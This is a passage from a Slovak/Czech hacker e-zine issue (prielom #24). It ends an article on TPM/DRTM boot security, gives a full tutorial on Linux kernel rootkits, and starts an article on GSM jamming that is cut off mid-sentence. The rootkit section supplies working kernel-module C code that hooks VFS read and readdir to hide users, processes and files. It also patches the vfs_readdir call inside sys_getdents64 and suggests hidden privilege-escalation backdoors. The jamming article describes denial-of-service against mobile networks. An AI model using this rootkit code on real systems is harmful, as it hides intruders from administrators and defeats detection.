    ovplyvniť jeho beh. Spomínaná inštrukcia preto vypne ostatné procesory, kód umiestni do inštrukčnej
    cache CPU, zakáže akékoľvek prerušenia, atď. Okrem toho ešte predtým než AC modul spustí, zahashuje ho
    do TPM registra. AC modul by mal hash rozšíriť všetkým podstatným čo z predchádzajúceho stavu počítača "prežije" do nového stavu a môže byť vykonané alebo nejako nejako ovplyvniť budúci beh počítača
    (napríklad SMM kód, BIOSove tabuľky ktorými odovzdáva informácie operačnému systému, atď). Až keď
    toto všetko spraví, odovzdá riadenie Boot Loaderu a ďalej. Všetko čo prežilo zo stavu pred spustením
    AC modulu je v TPM hashi. Veľmi stručne sa dá povedať že prevedieme počítač z "untrusted" do "trusted"
    stavu bez toho že by sme ho museli resetnúť (i keď to má k tomu dosť blízko). Ďalej sa už pokračuje
    rovnako ako pri klasickom SRTM. Celý tento proces sa nazýva Dynamic Root of Trust Measurement (DRTM).


    Účelom tohoto je že nemusíme pomocou TPM overovať úplne všetko od začiatku behu počítača, ale stačí
    od momentu keď spustíme AC modul. Tento úkon sa zvyčajne robí po tom ako BIOS dokončí svoj bordel
    a predtým než odovzdá riadenie boot loaderu. Tým nám odpadajú útoky napadnutím BIOSu (či už priamym
    patchovaním, spomenutým trikom s update mechanizmom, útok cez Option ROM, a iné). Aj ak bol BIOS napadnutý, stačí mať
    dobre napísaný AC modul, ktorý nič z predchádzajúceho stavu "neprepusti" (a to čo prepustí zahashuje,
    takže ak sa to zmení na to prídeme).


    Práve kvôli tomuto musí AC modul bežať v takto dokonale izolovanom režime. Útočník ktorý napadol
    počítač ešte pred spúšťaním AC modulu by samozrejme chcel aby niečo z jeho kódu prežilo natiahnutie
    AC modulu. Lenže AC modul je napísaný tak, že všetko odstaví, a to čo necháva overuje hashom (čiže ak
    to útočník zmenil, hash nebude sedieť). Útočník síce môže zmeniť kód AC modulu aby niečo netestoval,
    ale kód AC modulu je tiež hashovaný. Čo teraz?


    Keby AC modul nebežal v tak izolovanom móde, útočník by napríklad mohol na viacprocesorovom počítači
    nechať na jednom procesore vykonať inštrukciu ktorá spúšťa AC modul, a potom ako sa tento zahashuje
    a jeho hash sa uloží do TPM, ale ešte predtým ako sa začne vykonávať, pomocou druhého procesoru
    prepísať jeho kód. Teda zahashovaný by bol pôvodný kód, ale vykonal by sa už ten nový. Samozrejme,
    existuje mnoho ďalších spôsobov okrem použitia iného procesoru, napríklad použiť DMA, vyvolať
    prerušenie, pustiť to pod virtualizáciou, atď. Presne takýmto srandičkám má tá totálna izolácia
    zabrániť.


    Ďalším fígľom je že inštrukcia ktorá spúšťa AC modul resetne TPM registre (v ktorých sú uložené hashe)
    na trochu iné hodnoty než normálny reset, takže ju nedokážeme ani pomocou bežného TPM resetu emulovať.


    Samozrejme ale, že aj takýto postup má svoje problémy. Jedným z nich je, že AC modul musí skutočne do
    hashu zahrnúť úplne všetko čo z predchádzajúceho "untrusted" stavu "prežije" do "trusted" stavu. A
    toho nie je málo. Napríklad už spomínaný SMM kód v ukážkovej implementácii DRTM od Intelu hashovaný
    nebol, vďaka čomu dokázala Janka Rutkovská v známej prezentácii ich DRTM obíjsť. Nie je takých vecí
    na ktoré "sa zabudlo" viacej? Ktovie. Napríklad teória hovorí, že vrámci DRTM po zbehnutí AC modulu
    by BIOS nemal byť vôbec volaný, ale to je nereálne (jeden príklad čo ma napadá je práca s NVRAM
    premennými na EFI systémoch, je to treba a ide to len cez volanie BIOSu).


    No a samozrejme, od momentu ako sa AC modul ukončí už pokračujeme ďalej rovnako ako pri SRTM, s
    obrovským množstvom kódu ktorý nevyhnutne obsahuje obrovské množstvo chýb nech je "trusted" koľko
    chce. V podstate sme "attack vector" zmenšili len o ten BIOS.


    Ešte spomeniem že TPM okrem toho čo som napísal vie ešte rôzny bordel navyše, napríklad ochraňovať
    hodnoty uložené v pamäti tak aby ich nebolo možno prečítať ani po resete, apod. Keďže sa ale ani
    sám sa v tejto oblasti poriadne neorientujem, nechávam túto tému otvorenú.




    Na záver


    Takže dúfam že som na príklade týchto troch technológii objasnil a doložil všetky tie invektívy
    z úvodu. Dnešná x86 architektúra je skutočne jeden strašný chaos zle zaplátaných záplat a hackov ktoré
    absolútne nesystematicky riešia jeden konkrétny problém a pritom zákonite vzniká niekoľko ďalších.
    Koho prekvapí že SMM sa dalo zneužiť na obídenie TXT alebo virtualizácie? Čo keď kód bežiaci v SMX
    móde z nejakého dôvodu chce byť zároveň byť virtualizačným monitorom - VMM? (Áno, existuje na to
    zvláštny mód) A ako sa zachovať keď kód v jemu patriacej VM spraví niečo čo vyžaduje spracovanie
    SMM handlerom? Neviem a nechcem vedieť.


    A to tie 3 veci čo som tu spomenul sú len špičkou ľadovca. V x86 architektúre existujú doslova
    desiatky podobne zahnusených vecí, ktoré všetky navzájom musia nejako fungovať. Lenže najpodstatnejšia
    je spätná kompatibilita so všetkým až do Veľkého tresku. Tá sa lepšie predáva, ľuďom je pohodlnejšia,
    my čo s tými vecami robíme sa môžeme zblázniť a rôzne "inštitúcie" majú bohovský priestor zasahovať
    ľuďom do súkromia vďaka tomu že v technológii je taký bordel, ktorý sa ustrážiť jednoducho nedá.
    Nie, na bežné "drahoušek zákazník" účely sa tieto veci asi nebudú dať rozumne zneužiť. Ale na cielený
    útok od niekoho kto má dosť prostriedkov sú priam ideálne, ešte o to viac že ich "komerčná sféra"
    nemá dôvod riešiť.


    Celkom na záver len toľko, že ak pracujete pre vládu, proti vláde, alebo niečo podobné, tak si dobre
    rozmyslite od koho si kúpite grafickú kartu. Ja osobne som zabezpečovanie IT súkromia vzdal.


    vid, vid512 (ryba) gmail (.bodka.) com


    návrat na obsah

    čo ty na to ? diskusia








    0000010100000001000001020061730208639752
    maniac
     maniac      28.06.2019 - 20:28:59 (modif: 28.06.2019 - 20:29:33) [1K] , level: 1, UP   NEW !!CONTENT CHANGED!!
    prielom 24


    ::::::::::. :::::::.. :::.,:::::: ::: ... . :
    `;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;;
    `]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ [[,[[[[, ,[[[[,
    $$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$
    888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
    YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM

    prielom #24, 28.03.2006, prielom*hysteria*sk, http://hysteria.sk/prielom/





    obsah





    intro


    a je tu zasa novy prielom a mna caka tazka uloha vymysliet nejaky zaujimavy
    uvodnik, takze ti ktorym sa to nechce citat to rovno preskocte, lebo to bude
    nuda. taaaakze co mame nove - pribudol nam dalsi server (sunfire v20z, presne
    taky s akymi sa hram v praci), konala sa dalsia sessna (s vystupom na snezku),
    mame par novych adminov (cest a slava im za
    dobru pracu, budte naveky pozehnani), konecne sa zacali fixovat aj bugy na
    kyberke, celkovo sa to vsetko nejak rozbehlo.. a medziinym
    tu mame jar, priroda zasa oziva, takze je nacase zavriet notebooky a vyliezt
    von do prirody, uzit si trocha cerstveho vzduchu.. dalej by som chcel vyzvat
    citatelov, ktori by chceli prispiet clankami do prielomu (alebo inak sa
    podielat na aktivitach hysterky), aby sa nebali ozvat, prave nedostatok clankov
    bol dovodom, preco tento prielom vznikal tak dlho, a to kedy vyjde dalsie cislo
    je prave na vas..


    sven*hysteria*sk


    navrat na obsah

    co ty na to ? board




    Rootkity zalozene na hookovani vfs


    Skryvani ruznych veci je v rootkitech bezne zarizovano hooknutim
    prislusneho systemoveho volani. Vsichni zname.. To uz je ale prilis
    ohrane a kdejaky detekcni nastroj tuto vec dokaze snadno odhalit. Navic
    princip hookovani syscallu pro jadra 2.4, v jadrech 2.6 uz nefunguje, tam
    se to musi delat trosicku jinak. Tak se na syscally vykasleme..


    Co takhle jit hloubeji...


    VFS

    Co je teda vlastne to VFS? Tato zkratka znamena virtual filesystem a je
    to jakasi vrstva abstrakce pro praci s ruznymy filesystemy. Pro operace
    se soubory, ktere lezi v ruznych filesystemech je treba provadet ruzny kod.
    Proto je tu VFS, ktere prinasi jednotne rozhrani a o rozdily mezi filesystemy
    se postara za nas.

    V praxi to vypada tak, ze kazdy soubor (tedy struktura nesouci informace
    o nem) obsahuje sadu ukazatelu na operace s nim. Ukazatele jsou ulozeny ve strukture
    struct file_operations, kterou najdete v linux/fs.h:


    struct file_operations {
    struct module *owner;
    loff_t (*llseek) (struct file *, loff_t, int);
    ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
    ssize_t (*aio_read) (struct kiocb *, char __user *, size_t, loff_t);
    ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
    ssize_t (*aio_write) (struct kiocb *, const char __user *, size_t, loff_t);
    int (*readdir) (struct file *, void *, filldir_t);
    unsigned int (*poll) (struct file *, struct poll_table_struct *);
    ...

    Napriklad pri cteni ze souboru se spusti funkce read (tedy funkce, na kterou
    ukazuje ukazatel, ze struktury file_operations patrici k prislusnemu souboru).

    Tento ukazatel ziskame nejsnadneji takto (ukazka je kus LKM):


    #include
    ...

    int init_module() {
    struct file *f;

    /* ziskame strukturu file odpovidajici pozadovanemu souboru */
    f = filp_open("nazev.souboru", O_RDONLY, 0600);

    /* par kontrol.. */
    if (!IS_ERR(f)) {
    if (f && f->f_op)
    /* a tady ho mame f->f_op->read */
    printk("<7>Ukazatel na funkci read: 0x%xn", f->f_op->read);

    filp_close(f, NULL);
    }
    }

    Muzeme tedy snadno prepsat jakykoli ukazatel ze struktury f_op. Mezi zajimave
    ukazatele muze patrit read, write nebo treba readdir. Ten ukazuje na funkci,
    ktera se vola pri pozadavku o vypis adresarove struktury. Jeho drobnou upravou
    muzeme tedy skryt libovolny soubor nebo proces..


    Princip

    Princip hookovani je v podstate stejny jako u systemovych volani.

    - ulozime puvodni ukazatel

    - nahradime ho ukazatelem na upravenou funkci

    - pri odpojeni modulu dame vse do puvodniho stavu



    nejak takhle:


    #include
    ssize_t (*old_read) (struct file *, char __user *, size_t, loff_t *);

    ...

    int init_module() {
    struct file *f;

    f = filp_open("nazev.souboru", O_RDONLY, 0600);
    if (!IS_ERR(f)) {
    if (f && f->f_op)
    old_read = f->f_op->read;
    f->f_op->read = new_read;
    filp_close(f, NULL);
    }
    }

    void cleanup_module() {
    struct file *f;

    f = filp_open("nazev.souboru", O_RDONLY, 0600);
    if (!IS_ERR(f)) {
    if (f && f->f_op)
    f->f_op->read = old_read;
    filp_close(f, NULL);
    }
    }

    A v cem uprava puvodni funkce spociva? Zalezi samozrejme na pouziti. Vetsinou jde
    o zavolani puvodni funkce a upraveni vysledku. Muzeme si to ukazat treba opet na read.
    Podivejme se jeste jednou, jak vypada prototyp funkce, na kterou ukazuje read:


    ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);

    Vidime, ze hned prvni parametr nam ukazuje na strukturu file, ktera samozrejme
    nese informace o souboru, ze ktereho se prave cte. To nam poslouzi k zistkani
    ruznych informaci o souboru, ktere potrebujeme pro rozhodnuti, co ve ctenych datech
    zmenime a co ne. Dalsi parametr ukazuje na pamet, v niz jsou (budou) ulozena prectena
    data. Treti parametr udava delku teto pameti.


    Ukazme si tedy, jak treba skryt zaznam o uzivateli ve vypisu programu jako w nebo who.
    Kazdy vi, ze tyto programy ctou informace ze souboru /var/run/utmp, ktery obsahje
    pekne za sebou naskladane struktury utmp (viz. man utmp). A mame stesti (no stesti, ono
    je to celkem logicke...), ze programy w a who z tohoto souboru prectou najednou celou
    tuto strukturu. Funkce read tedy do pameti (na jejiz zacatek ukazuje druhy parametr) ulozi
    prave tuto strukturu utmp a pak poslusne vrati pocet prectenych bajtu.


    Takze co dal:

    - nechame puvodni read (ukazatel na ni si pred hooknutim ulozime) precist spravna data

    - precteny buffer si pretypujeme na struct utmp, takze muzeme primo pristupovat k jejim
    polozkam

    - zkontrolujeme jestli buf->ut_user obsahuje username, ktere chceme skryt a pokud ano,
    vratime 0, coz znamena, ze se nic neprecetlo. Pro jistotu muzeme cely buffer vynulovat.


    Primitivni, ale ucinne;) hooknuta funkce tedy vypada takhle, aneb totez zapsane v C:


    ssize_t new_read(struct file *f, char *buf, size_t count, loff_t *ppos)
    {
    #define filename (f->f_dentry->d_name.name)
    /* provedeme puvodni read, ulozime si navratovou hodnotu */
    ssize_t res = old_read(f, buf, count, ppos);

    if (!strcmp(filename, "utmp")) {
    struct utmp *utmp_entry = (struct utmp *) buf;

    if (utmp_entry && !strcmp(utmp_entry->ut_user, HIDDEN_USERNAME)) {
    memset(utmp_entry, 0, sizeof(struct utmp));
    return 0;
    }
    }

    return res;
    }


    Velmi jednoduche ze? Nemusime se ani trapit tim, ze parametry funkce ukazuji do userspace jako
    u syscallu, protoze tyhle funkce uz nejsou na rozhrani user a kernelspace, takze vsechny ukazatele,
    ktere jdou do nich i z nich ukazuji do kernelspace.


    Princip je doufam jasny, tak se jeste v rychlosti mrknem na to, jak skryt treba nejaky
    proces nebo soubor. Jak jsem se asi uz zminil, pro ziskani obsahu adresarove struktury
    slouzi readdir. Pro skryti procesu to vyuzijeme taky, protoze ps pro ziskani seznamu
    bezicich procesu stejne vyuziva /proc. Takze staci skryt dany adresar v /proc a hotovo..


    Tak zkusme na to jit stejne. Jak vypada to readdir:


    int (*readdir) (struct file *, void *, filldir_t);

    Ano, samozrejme prvni parametr obsahuje opet strukuru file, ktera popisuje adresar, z nejz
    se cte, druhy parametr opet pamet, kam se prectena data ulozi a treti parametr je ukazatel
    na funkci filldir, ktera se stara o zjistovani potrebnych informaci. Tahle funkce dostava
    soubor po souboru a pokud nic neudela a vrati, ze vse probehlo v poradku, nebude o danem
    souboru nikde dal ani zminka. Takze je dobry napad upravit prave tuhle funkci. Ale nejdriv
    je treba zaridit, aby readdir upravenou funkci pouzivala, takze musi dostat jako treti
    parametr prave ukazatel na nasi readdir.


    To udelame snadno. Proste ji hookneme a v ni zavolame tu puvodni s parametry, jake si
    rekneme.


    filldir_t real_filldir;
    ....
    int new_readdir_proc (struct file *a, void *b, filldir_t c)
    {
    real_filldir = c;
    return old_readdir_proc (a, b, new_filldir);
    }

    A ted se muzeme pustit do psani new_filldir. Ta tedy pouze overi, zda soubor, ktery
    zrovna zpracovava je treba skryt. Pokud usoudi, ze ano, vrati 0. Jinak provede
    puvodni funkci. To je vsechno. Opet velmi jednoduche. Takze tady je ukazka, jak
    skryvat procesy (samozrejme musime hooknout readdir pro /proc).

    static int new_filldir(void * __buf, const char * name, int namlen,
    loff_t offset, ino_t ino, unsigned int d_type)
    {
    int pid;
    struct task_struct *task;
    char buf[256] = {0};

    /* do buf ulozime nazev aktualne zpracovavaneho souboru */
    memcpy(buf, name, namlen);

    pid = my_atoi(buf);

    /* makro se muze jmenovat i for_each_process, v zavislosti na verzi jadra;
    najdete ho definovane v linux/sched.h */
    for_each_task(task)
    if (task->uid == HIDDEN_UID && task->pid == pid)
    return 0;

    /* zavolame puvodni funkci */
    return real_filldir (__buf, name, namlen, offset, ino, d_type);
    }

    V podstate stejnym zpusobem muzeme hooknout readdir pro / a pak treba overit
    koncovku souboru a podle toho bud skryt nebo ne.. V pripade skryvani souboru
    tu je jedna nevyhoda. Pokud treba skryvame soubory podle koncovky a provedeme
    hook pro /, budou skryty pouze soubory s danou koncovkou, ktere lezi na stejnem
    filesystemu jako ma korenovy adresar. Bud se da udelat hook pro vsechny filesystemy,
    ktere prichazi do uvahy, nebo hooknout funkci, ktera lezi jeste pred tim, nez se
    preda rizeni te konkrentni funkci zavisle na filesystemu. O tom si neco rekneme o kousek
    niz. Pak mame jeste jednu moznost -- proste to ignorovat. Uzivatel rootkitu si vetsinou sve
    hracky stejne da do jednoho adresare, ktery skryje. Pak se ruznyma filesystemama zabyvat nemusi..


    Doufam, ze z toho, co jsem popsal je princip jasny. O neco polopatictejsi vysvetleni najdete
    v sekci papers na
    mojem webu. Popisovana technika
    neni zavisla na verzi jadra a zatim se nejak moc nepouziva. Snad jedinym volne dostupnym
    rootkitem, ktery podobne techniky vyuziva je Adore NG. Nejake priklady najdete zase nekde
    na mojem webu..



    Trochu jiny zpusob...

    Ted si ukazeme jiny, na filesystemu nezavisly zpusob, jak skryt soubor. Ne, ze by to
    bylo az tak extremne uzitecne samo o sobe (vetsinou postaci predchozi a mnohem jednodussi
    technika), ale ukazu na tom neco, co se muze hodit i pri jinych vecech. Treba pri programovani
    VELMI spatne odhalitenych backdooru, nebo jen tak pro zabavu.. :) Puvodne jsem to ani nechtel
    popisovat, ale Sven rekl, ze to klidne muze byt delsi, takze proc ne..


    U predchozi techniky jsme pouzivali upravenou funkci readdir, ktera pouze volala puvodni,
    jen s jinym parametrem. Je to nutne? Co takhle zavolat puvodni readdir rovnou. Pak by se
    volala jen ta readdir, ktera je vhodna pro dany filesystem, ale nas hook by fungoval porad.


    Podivejme se, co se vlastne pri spusteni ls deje. Ve vypisu programu strace zjistime, ze se
    pouziva systemove volani getdents64. Mrknem do zdrojaku jadra (fs/readdir.c) na tuhle funkci.
    Vidime, ze ta zas vola nejakou vfs_readdir:


    int vfs_readdir(struct file *file, filldir_t filler, void *buf);

    Uz tahle funkce dostane jako parametr ukazatel na funkci filldir. Podivejme se jeste co, dela vfs_readdir:

    int vfs_readdir(struct file *file, filldir_t filler, void *buf)
    {
    struct inode *inode = file->f_dentry->d_inode;
    int res = -ENOTDIR;
    if (!file->f_op || !file->f_op->readdir)
    goto out;

    res = security_file_permission(file, MAY_READ);
    if (res)
    goto out;

    down(&inode->i_sem);
    res = -ENOENT;
    if (!IS_DEADDIR(inode)) {
    res = file->f_op->readdir(file, buf, filler);
    }
    up(&inode->i_sem);
    out:
    return res;
    }

    Nic prevratneho.. zkontroluje prava, dekrementuje semafor, zavola spravnou funkci readdir
    pro dany filesystem, inkrementuje semafor a zkonci. Samozrejme nas zajima, ze parametr filler
    preda nezmeneny puvodni readdir. Takze kdyby se nam podarilo hooknout vfs_readdir tak, aby zavolala
    vfs_readdir se zmenenym parametrem filler, udelame v podstate totez co u predchoziho pripadu,
    ale mame to nezavisle na souborovem systemu.


    A prave tady cela zabava zacina! Shrnme si, co potrebujeme pohackovat:

    - musime donutit getdents64, aby skocil do nasi vfs_readdir, namisto te puvodni

    - pripravit si novou vfs_readdir

    - pripravit si novou funkci filldir


    To cele bude sranda, az na prvni bod. To muze byt trochu narocnejsi, hlavne kdyz chceme,
    aby to behalo i na jinem systemu, nez na tom nasem..


    Hooknuti vfs_readdir

    K hooku vfs_readdir si pripravime nuzky, lepidlo, debugger, zdrojove kody jadra a silny zaludek,
    bo to je pekna prasarna. Pokud mate vse po ruce (az na ten zaludek;), muzeme zacit. Nejprve
    rozpitvame soubor $KERNEL_SRC/fs/readdir.c.

    Jak vypada sys_getdents64 ? Kvuli uspore elektronickeho papiru se podivejte sami, uvidite,
    ze nekde uprostred je volani fce vfs_readdir. Urcite musime najit presnou adresu jejiho
    volani. Adresu getdents64 zjistime snadno, je to adresa asi na 220te pozici v sys_call_table.
    Jeste najit, jak daleko od jejiho zacatku je to volani. No, to nebude az tak tezke.. ale
    pro jistotu nastartuje debugger, at se na to podivame zblizka...


    % cd /usr/src/linux
    % gdb vmlinux
    GNU gdb 5.3
    Copyright 2002 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public License, and you are
    welcome to change it and/or distribute copies of it under certain conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB. Type "show warranty" for details.
    This GDB was configured as "i386-slackware-linux"...(no debugging symbols found)...
    (gdb) disas sys_getdents64
    Dump of assembler code for function sys_getdents64:
    0xc0168b60 <sys_getdents64>: sub $0x2c,%esp
    0xc0168b63 <sys_getdents64+3>: mov $0xffffe000,%eax
    0xc0168b68 <sys_getdents64+8>: mov %ebx,0x1c(%esp,1)
    0xc0168b6c <sys_getdents64+12>: mov 0x34(%esp,1),%ebx
    0xc0168b70 <sys_getdents64+16>: mov %edi,0x24(%esp,1)
    0xc0168b74 <sys_getdents64+20>: mov $0xfffffff2,%edi
    0xc0168b79 <sys_getdents64+25>: mov %ebx,%edx
    0xc0168b7b <sys_getdents64+27>: mov %ebp,0x28(%esp,1)
    0xc0168b7f <sys_getdents64+31>: mov 0x38(%esp,1),%ebp
    0xc0168b83 <sys_getdents64+35>: and %esp,%eax
    0xc0168b85 <sys_getdents64+37>: mov %esi,0x20(%esp,1)
    0xc0168b89 <sys_getdents64+41>: add %ebp,%edx
    0xc0168b8b <sys_getdents64+43>: sbb %ecx,%ecx
    0xc0168b8d <sys_getdents64+45>: cmp %edx,0x18(%eax)
    0xc0168b90 <sys_getdents64+48>: sbb $0x0,%ecx
    0xc0168b93 <sys_getdents64+51>: test %ecx,%ecx
    0xc0168b95 <sys_getdents64+53>: jne 0xc0168c0d <sys_getdents64+173>
    0xc0168b97 <sys_getdents64+55>: mov 0x30(%esp,1),%eax
    0xc0168b9b <sys_getdents64+59>: mov $0xfffffff7,%edi
    0xc0168ba0 <sys_getdents64+64>: call 0xc0156180 <fget>
    0xc0168ba5 <sys_getdents64+69>: test %eax,%eax
    0xc0168ba7 <sys_getdents64+71>: mov %eax,%esi
    0xc0168ba9 <sys_getdents64+73>: je 0xc0168c0d <sys_getdents64+173>
    0xc0168bab <sys_getdents64+75>: mov %ebx,0xc(%esp,1)
    0xc0168baf <sys_getdents64+79>: lea 0xc(%esp,1),%eax
    0xc0168bb3 <sys_getdents64+83>: movl $0x0,0x10(%esp,1)
    0xc0168bbb <sys_getdents64+91>: mov %ebp,0x14(%esp,1)
    0xc0168bbf <sys_getdents64+95>: movl $0x0,0x18(%esp,1)
    0xc0168bc7 <sys_getdents64+103>: mov %eax,0x8(%esp,1)
    0xc0168bcb <sys_getdents64+107>: movl $0xc0168a10,0x4(%esp,1)
    0xc0168bd3 <sys_getdents64+115>: mov %esi,(%esp,1)
    0xc0168bd6 <sys_getdents64+118>: call 0xc0168610 <vfs_readdir>
    0xc0168bdb <sys_getdents64+123>: test %eax,%eax
    0xc0168bdd <sys_getdents64+125>: mov %eax,%edi
    0xc0168bdf <sys_getdents64+127>: js 0xc0168c06 <sys_getdents64+166>

    Vidime, ze prvni instrukce call, je volani fget a druha call je 118 bajtu od zacatku
    sys_getdents64 a je to prave volani vfs_readdir. Co presne je na teto pozici ulozeno?

    (gdb) x sys_getdents64+118
    0xc0168bd6 <sys_getdents64+118>: 0xfffa35e8

    Protoze jde o little-endian architekturu, bajty jsou v pameti opacne. Ve skutecnosti tam jsou asi
    takto:

    (gdb) x/5b sys_getdents64+118
    0xc0168bd6 <sys_getdents64+118>: 0xe8 0x35 0xfa 0xff 0xff

    Pohlem do intelovske dokumentace zjistime, ze 0xe8 je operacni kod instrukce call a za nim
    nasleduje 4bajtova relativni adresa. Relativni adresa je tedy 0xfffffa35. Absolutni adresa
    volane funkce je soucet tohoto parametru s adresou nasledujici instrukce.


    Pro spolehlive vyhledani spravneho callu vyuzijeme toho, ze absolutni adresu vfs_readdir
    zname (pokud tedy vyuzivame LKM). Takze algoritmus je nasledujici:


    - najdeme adresu pocatku sys_getdents64

    - nacteme dostatecne velky kus kodu teto funkce (150 B staci urcite..)

    - v tomto bufferu vyhledavame volani call (tedy znam 0xe8)

    - u kazdeho nalezeneho volani si parametr prepocitame na absolutni adresu

    - tu pak porovname s vfs_readdir


    A mame presnou lokaci daneho volani. Predpokladam, ze ani nemusim rikat, co s tim.
    Ale pro jistotu.. absolutni adresu nasi upravene vfs_readdir prepocitame na relativni
    vzhledem k nasledujici instrukci a prepiseme ji 4 bajty, ktere nasleduji za danym callem (tedy
    za operacnim kodem teto instrukce). Tim samozrejme dosahneme toho, ze getdents64 vola
    neco jineho nez by normalne mela.. Funkce pro vyhledani volani by mohla vypadat nejak takhle:


    /* prvni parametr je adresa getdents64,
    * pres druhy parametr funkce vraci adresu, kde se relativni adresa nachazi
    * pres posledni parametr funkce vraci puvodni parametr instrukce call
    *
    * funkce vraci promennou addr_add, coz je to, co se musi pricist k relativni adrese,
    * abychom dostali absolutni. Jinymi slovy
    * paremetr instrukce call = absolutn� adresa - addr_add */
    unsigned get_vfs_readdir(unsigned int syscalladdr, unsigned int *location, unsigned int *orig)
    {
    #define BUFFLEN 170;
    char buf[BUFFLEN], *p;
    unsigned int addr = syscalladdr;
    unsigned vr_addr, offset = -1;
    unsigned int addr_add;

    /* call instruction */
    char pattern[] = "xe8";
    int patlen = 1;
    int addr_inc = 1;

    if (addr == 0) return 0;
    memcpy(buf, (void *)addr, BUFFLEN);

    do {
    p = (char*)memmem(buf + offset + 1, BUFFLEN, pattern, patlen);
    offset = (unsigned)p - (unsigned)buf;
    addr = syscalladdr + offset + addr_inc;
    *location = addr;
    memcpy(&vr_addr, (void *)addr, sizeof(vr_addr));
    *orig = vr_addr;
    } while ((unsigned)(addr + 4 + vr_addr) != (unsigned)vfs_readdir && p != NULL);

    if (p == NULL)
    return 0;

    addr_add = addr + 4;
    /* address of vfs_readdir is vr_addr+addr_add */

    return addr_add;
    }

    Hooknout vfs_readdir bysme uz meli byt schopni. Vime presnou adresu jeho volani. Tam (tedy
    o bajt dal) zapiseme relativni adresu new_vfs_readdir. Nesmime ji zapomenout prepocitat
    na relativni, protoze zname pouze absolutni adresu. Upravena vfs_readdir je trivialni:

    filldir_t real_filler;
    ...

    int new_vfs_readdir(struct file *file, filldir_t filler, void *buf)
    {
    real_filler = filler;
    return vfs_readdir(file, new_filldir, buf);
    }

    Nakonec zbyva napsat new_filldir, ale ta je stejna jako u predchozi techniky.. Podobnym
    zpusobem muzeme upravit nejen systemova volani, ale ruzne funkce v kernelu a da se do
    nich ulozit napr. backdoor na zvyseni prav. A nikdo na to neprijde, pokud nenajde
    modul, kterym jsme zmeny provedli. Kdyby se tohle spachalo zapsanim primo do /dev/kmem,
    je to opravdu velmi spatne odhalitelne....




    A to by pro dnesek bylo vsechno, aspon co se tohohle clanku tyce..


    Pozn. autora: tenhle clanek jsem psal nekdy v dobe vyjiti minuleho
    prielomu, takze uz to bude vic nez rok, takze to nemusi byt uplne
    koser, tak me nekamenujte.. ;)


    trace at dump.cz


    navrat na obsah

    co ty na to ? board




    Electronic radio attacks


    ...alebo radiove rusenie v systeme GSM




    mobilne telefony su v dnesnej jednym z najpouzivanejsich komunikacnych
    prostriedkov, ludia si na ne zvykli a patria k nim ako kimono k linde,
    zavislost na nich je velka ... ak autorizovanemu pouzivatelovi
    (vlastnik telefonu) nie je poskytnuta pozadovana sluzba
    (voice call,sms,fax,data call) pocas nejakeho definovaneho
    maximalneho casu, mozeme povedat za ide o Denial of Service (DoS) utok ...
    jednymi z prvych DoS v elektronickej komunikacii bolo rusenie vojenskych
    radiovych frekvencii, vo vojenskej terminologii sa tomu vravi aj
    'soft kill' a jedna sa o pouzitie a vyuzitie elektronickeho spektra,
    presne mierenej energie a pod. na zneskodnenie alebo znemoznenie pouzitia
    elektronickych komunikacnych, navadzacich a inych pristrojov nepriatela.
    mobilne siete tak ako su navrhnute umoznuju prevedenie DoS pomocou technik
    radioveho rusenia. v tomto clanku si to trosku hlbsie popiseme, ake su
    moznosti, nasledky, sposoby a pod. ... ok, let the party begin



    jamming



    mobilne siete GSM pracuju v pasmach UHF, v zastavanych mestach kde su
    prekazky ako velke a vysoke budovy, husto na sebe vznika nezanedbatelny
    utlm, nakolko BTS pouzivaju vsesmerove alebo sektorove anteny so sirokymi
    vyzarovacimi uhlami aby pokryli co najvacsiu plochu, toto vsetko
    prispieva k tomu, ze pasmo UHF nie je odolne voci radiovemu ruseniu a
    moze byt relativne jednoducho zarusene.

    rusenie je vytvarane vysielanim radioveho signalu na rovnakej frekvencii
    smerom k prijimacu, ktory chceme rusit. cize dalo by sa povedat ze rusiaci
    signal sa pomiesa s povodnym alebo ho uplne 'prevalcuje' a prijimac nie je
    schopny spolahlivo prijimat povodny signal. je dolezite spomenut, ze moze
    byt ruseny iba prijimac, nikdy nie vysielac samotny (cize rusenie znemoznuje
    prijem), ak by sme chceli zrusit vysielac, da sa aj to ale jedine fyzickou
    destrukciou, odpojenim napajania alebo pouzitim tzv. High Power Microwave
    weapons, ktore su schopne znefunkcnit elektroniku (ale o tom inokedy :) ).
    podstatny vlyv na pokles urovne signalu maju aj vzdialenosti, ak napriklad
    zdvojnasobime vzdialenost medzi rusickou (jammer) a
    prijimacom (receiver) tak musime zvysit vykon jammer-a stvornasobne!
    aby sme dosiahli ten isty rusiaci efekt.

    rusenie je uspesne vtedy ak vysielanie rusiaceho signalu znemozni prijem
    povodneho, v digitalnej komunikacii je to vtedy ak je chybovost
    (error rate) vacsia ako su schopne opravit prijimace pouzitim error
    correction algoritmov. vela digitalnych komunikacnych systemov pouziva
    vysielanie synchronizacnych signalov medzi komunikujucimi zariadeniami.
    ak sa zameriame na tento signal, obvykle to byva velmi efektivne a elegantne
    to zrusi vsetku ostatnu komunikaciu, tym padom jammer moze prestat vysielat
    a zacat znovu rusit az po resynchronizacii, tak sa stava tazsie odhalitelnym.
    jediny problem je, ze z pohladu jammera sa tazko zistuje stav, ci a kedy
    rusene zariadenia stratili synchronizaciu.



    strucny popis GSM vysielania


    v GSM sieti sa o radiove(komunikacne) prostriedky stara Base Station
    Subsystem (BSS) ako aj Base Tranceiver Station (BTS), aktualny vf vysielac,
    BSS sa sklada z casti:


    • Base Station Controller (BSC)

    • BTS

    • A-interface [medzi BSS a Mobile Services Switching Center (MSC)]


    Air-interface pouziva na komunikaciu s mobilom dve odlisne multiplexove
    techniky a to

    • TDMA [Time Division Multiple Access]

    • FDMA [Frequency Division Multiple Access]

    radiove spektrum je rozdelene na kanaly o sirke 200 kHz (FDMA) a kazdy kanal
